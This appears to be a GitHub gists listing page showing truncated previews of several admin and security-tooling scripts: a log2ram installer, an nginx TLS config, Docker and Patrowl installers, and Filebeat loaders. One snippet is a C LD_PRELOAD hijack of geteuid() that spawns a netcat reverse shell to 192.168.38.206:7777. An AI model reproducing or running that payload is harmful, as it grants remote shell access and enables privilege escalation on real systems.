This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Changes logging to log to RAM only. Set for 128M of tempfs. | |
curl -Lo log2ram.tar.gz https://github.com/azlux/log2ram/archive/master.tar.gz | |
tar xf log2ram.tar.gz | |
cd log2ram-master | |
chmod +x install.sh && sudo ./install.sh | |
sed -i 's/^\(SIZE\s*=\s*\).*$/\1128M/' /etc/log2ram.conf | |
cd .. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/types.h> | |
int geteuid() { | |
if (getenv("LD_PRELOAD") == NULL) { | |
return 0; | |
} | |
unsetenv("LD_PRELOAD"); | |
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.38.206 7777 >/tmp/f"); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# 2020-09-11 | |
# Mozilla Guideline v5.6, nginx 1.17.7, OpenSSL 1.1.1d, intermediate configuration | |
# https://ssl-config.mozilla.org/#server=nginx&version=1.17.7&config=intermediate&openssl=1.1.1d&guideline=5.6 | |
server { | |
listen 80 default_server; | |
listen [::]:80 default_server; | |
return 301 https://$host$request_uri; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(window["webpackJsonp"] = window["webpackJsonp"] || [])["push"]([[7], { | |
'\x54\x69\x51\x70': function(h9v9, L9v9, K8v9) { | |
"use strict"; | |
K8v9["r"](L9v9); | |
var m8v9 = K8v9("CcnG") | |
, V8v9 = function() { | |
return function() {} | |
; | |
}() | |
, n9v9 = K8v9("pMnS") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
set -e | |
echo "This will install PatrowlManger and Client" | |
read -p "Press return to continue..." | |
cd /opt | |
git clone https://github.com/Patrowl/PatrowlManager.git | |
git clone https://github.com/Patrowl/PatrowlEngines.git |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
set -e | |
sudo apt-get install -y docker docker.io docker-compose docker-doc | |
# Run docker. | |
sudo systemctl start docker | |
sudo systemctl enable docker |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# From https://www.hiroom2.com/2017/09/24/parrotsec-3-8-docker-engine-en/ | |
set -e | |
# Install dependencies. | |
sudo apt install -y curl apt-transport-https \ | |
software-properties-common ca-certificates | |
# Install docker. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Version refernces: https://www.docker.elastic.co/# | |
FILEBEATVER="6.8.7" | |
ELASTICHOST="127.0.0.1:9200" | |
KIBANAHOST="127.0.0.1:5601" | |
usage() { | |
echo "Usage: ./beatboard_loader.sh 'ELASTIC_HOST:PORT' 'KIBANA:PORT' [FILEBEATVER]" | |
echo """ | |
ELASTIC_HOST:PORT The ElasticSearch host and port number (required) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# updater.sh | |
# | |
# ====================== WARRANTY ====================== | |
# You get no warranty of any kind and I would advise | |
# you to walk away while you can. This may break the | |
# internet. | |
# ====================================================== | |
# | |
# Purpose: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
BEATVER="6.8.6" | |
read -r -p "What is the Logstash host:port? " HOST_TARG | |
echo ">$HOST_TARG" | |
CURR_DIR=$(pwd) | |
function exiting { |